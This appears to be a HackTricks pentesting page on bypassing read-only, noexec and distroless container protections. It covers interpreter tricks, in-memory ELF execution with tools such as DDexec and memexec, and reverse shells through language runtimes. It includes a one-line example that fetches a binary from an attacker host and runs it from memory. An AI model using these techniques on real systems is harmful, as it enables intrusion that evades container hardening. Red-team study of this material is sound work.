overview.md (8904B)
1 --- 2 title: "Bypass FS protections: read-only / no-exec / Distroless" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Bypass FS protections: read-only / no-exec / Distroless 14 15 ## Videos 16 17 In the following videos you can find the techniques mentioned in this page explained more in depth:<sup>[[1]](#references)[[2]](#references)</sup> 18 19 - [**DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion**](https://www.youtube.com/watch?v=poHirez8jk4).<sup>[[1]](#references)</sup> 20 - [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM_gjjiARaU).<sup>[[2]](#references)</sup> 21 22 ## read-only / no-exec scenario 23 24 In a container, you can mount the root filesystem as read-only by setting **`readOnlyRootFilesystem: true`** in the security context.<sup>[[3]](#references)</sup> For example: 25 26 <pre class="language-yaml"><code class="lang-yaml">apiVersion: v1 27 kind: Pod 28 metadata: 29 name: alpine-pod 30 spec: 31 containers: 32 - name: alpine 33 image: alpine 34 securityContext: 35 <strong> readOnlyRootFilesystem: true 36 </strong> command: ["sh", "-c", "while true; do sleep 1000; done"] 37 </code></pre> 38 39 A read-only root does not make separately mounted volumes read-only. Docker treats **`/dev/shm`** as an IPC mount, while tmpfs options such as `rw` and `noexec` are runtime configuration choices; inspect the target container's mount options before relying on either behavior.<sup>[[4]](#references)[[5]](#references)</sup> 40 41 > [!WARNING] 42 > From a red-team perspective, that combination can make it difficult to download and execute binaries that are not already available (for example, backdoors or enumeration tools).<sup>[[4]](#references)[[5]](#references)</sup> 43 44 ## Easiest bypass: Scripts 45 46 A `noexec` mount blocks direct execution of binaries on that mount, but an interpreter can still read and interpret a script. If `sh` or `python` is present, you can therefore run a shell or Python script through that interpreter.<sup>[[5]](#references)</sup> 47 48 This does not help when the required tool is itself a binary.<sup>[[5]](#references)</sup> 49 50 ## Memory Bypasses 51 52 When direct execution from a mounted path is blocked, one option is to load the ELF into memory and execute it through an in-memory path. This avoids the `noexec` check on that mount, but does not remove other kernel, permission, or policy controls.<sup>[[5]](#references)[[6]](#references)</sup> 53 54 ### FD + exec syscall bypass 55 56 If a scripting runtime can access the relevant Linux interface, it can create an anonymous, RAM-backed file descriptor with **`memfd_create(2)`**, write the ELF bytes to it, and use an fd-backed execution path. The project [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) generates compressed and base64-encoded Python, Perl, or Ruby code for this workflow.<sup>[[6]](#references)[[7]](#references)</sup> 57 58 The project currently documents Python, Perl, and Ruby targets; PHP or Node need a different runtime-specific technique or extension, so the absence of this generator for a language does not mean that in-memory execution is impossible.<sup>[[6]](#references)[[12]](#references)</sup> 59 60 > [!WARNING] 61 > A regular executable written to **`/dev/shm`** remains subject to that mount's **`noexec`** setting; merely opening it through an ordinary file descriptor does not change the mount policy.<sup>[[5]](#references)</sup> 62 > 63 > The exact memory-execution method also depends on the runtime, architecture, kernel, and available permissions.<sup>[[6]](#references)[[7]](#references)[[12]](#references)</sup> 64 65 ### DDexec / EverythingExec 66 67 [**DDexec / EverythingExec**](https://github.com/arget13/DDexec) writes a stager and loader into the running shell process through **`/proc/self/mem`**, then transfers control to that code.<sup>[[8]](#references)</sup> 68 69 This lets the process load a supplied binary without first placing that binary on an executable filesystem.<sup>[[8]](#references)</sup> 70 71 > [!TIP] 72 > **DDexec / EverythingExec** can load and **execute** shellcode or a binary from **memory**.<sup>[[8]](#references)</sup> 73 74 ```bash 75 # Basic example 76 wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar 77 ``` 78 79 For more information about this technique check the Github or: 80 81 [Ddexec](/hacktricks/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec) 82 83 ### MemExec 84 85 [**Memexec**](https://github.com/arget13/memexec) is a daemonized DDexec implementation. Its daemon listens for requests containing arguments and raw program bytes, forks a child to load and run each program, and keeps the parent as the server.<sup>[[9]](#references)</sup> 86 87 The repository includes an example of using **memexec to execute binaries from a PHP reverse shell** in [a.php](https://github.com/arget13/memexec/blob/main/a.php).<sup>[[9]](#references)</sup> 88 89 ### Memdlopen 90 91 With a similar purpose to DDexec, [**memdlopen**](https://github.com/arget13/memdlopen) is a fileless `dlopen()` implementation for a shared object or program. Its README currently documents ARM64 support, so check the target architecture before using it.<sup>[[10]](#references)</sup> 92 93 ## Distroless Bypass 94 95 For a dedicated explanation of **what distroless actually is**, when it helps, when it does not, and how it changes post-exploitation tradecraft in containers, check: 96 97 [Distroless](/hacktricks/linux-hardening/containers-namespaces/container-security/distroless) 98 99 ### What is distroless 100 101 Distroless images contain only the application and its runtime dependencies; the official images omit package managers, shells, and other programs expected in a standard Linux distribution.<sup>[[11]](#references)</sup> 102 103 Keeping the runtime image to those dependencies reduces the software present in production and the amount that must be scanned and tracked.<sup>[[11]](#references)</sup> 104 105 ### Reverse Shell 106 107 In a distroless container you might **not find `sh` or `bash`** for a regular shell, nor common utilities such as `ls`, `whoami`, or `id`.<sup>[[11]](#references)</sup> 108 109 > [!WARNING] 110 > Therefore, a usual shell-based reverse shell or utility-based enumeration may not work.<sup>[[11]](#references)</sup> 111 112 If the compromised application includes a language runtime (for example, Python for a Flask application or Node.js for a Node application), an RCE may still be able to use that runtime for a command channel and system inspection through its APIs.<sup>[[11]](#references)[[12]](#references)</sup> 113 114 > [!TIP] 115 > Use the available scripting language to **enumerate the system** through its language capabilities.<sup>[[12]](#references)</sup> 116 117 If there are no **read-only/no-exec** protections, a command channel may write binaries to a writable, executable mount and run them; verify the mount options and permissions first.<sup>[[4]](#references)[[5]](#references)</sup> 118 119 > [!TIP] 120 > When these protections are present, use the **memory-execution techniques above** where the runtime, kernel, and permissions allow.<sup>[[6]](#references)[[8]](#references)[[10]](#references)</sup> 121 122 You can find **examples** of exploiting RCE vulnerabilities to obtain scripting-language **reverse shells** and execute binaries from memory in [**DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).<sup>[[12]](#references)</sup> 123 124 ## References 125 126 - [1] [DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion](https://www.youtube.com/watch?v=poHirez8jk4) 127 - [2] [Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023](https://www.youtube.com/watch?v=VM_gjjiARaU) 128 - [3] [Configure a Security Context for a Pod or Container](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) 129 - [4] [docker container run](https://docs.docker.com/reference/cli/docker/container/run) 130 - [5] [mount(8) - Linux manual page](https://man7.org/linux/man-pages/man8/mount.8.html) 131 - [6] [fileless-elf-exec](https://github.com/nnsee/fileless-elf-exec) 132 - [7] [memfd_create(2) - Linux manual page](https://man7.org/linux/man-pages/man2/memfd_create.2.html) 133 - [8] [DDexec](https://github.com/arget13/DDexec) 134 - [9] [memexec](https://github.com/arget13/memexec) 135 - [10] [memdlopen](https://github.com/arget13/memdlopen) 136 - [11] [GoogleContainerTools/distroless](https://github.com/GoogleContainerTools/distroless) 137 - [12] [DistrolessRCE](https://github.com/carlospolop/DistrolessRCE)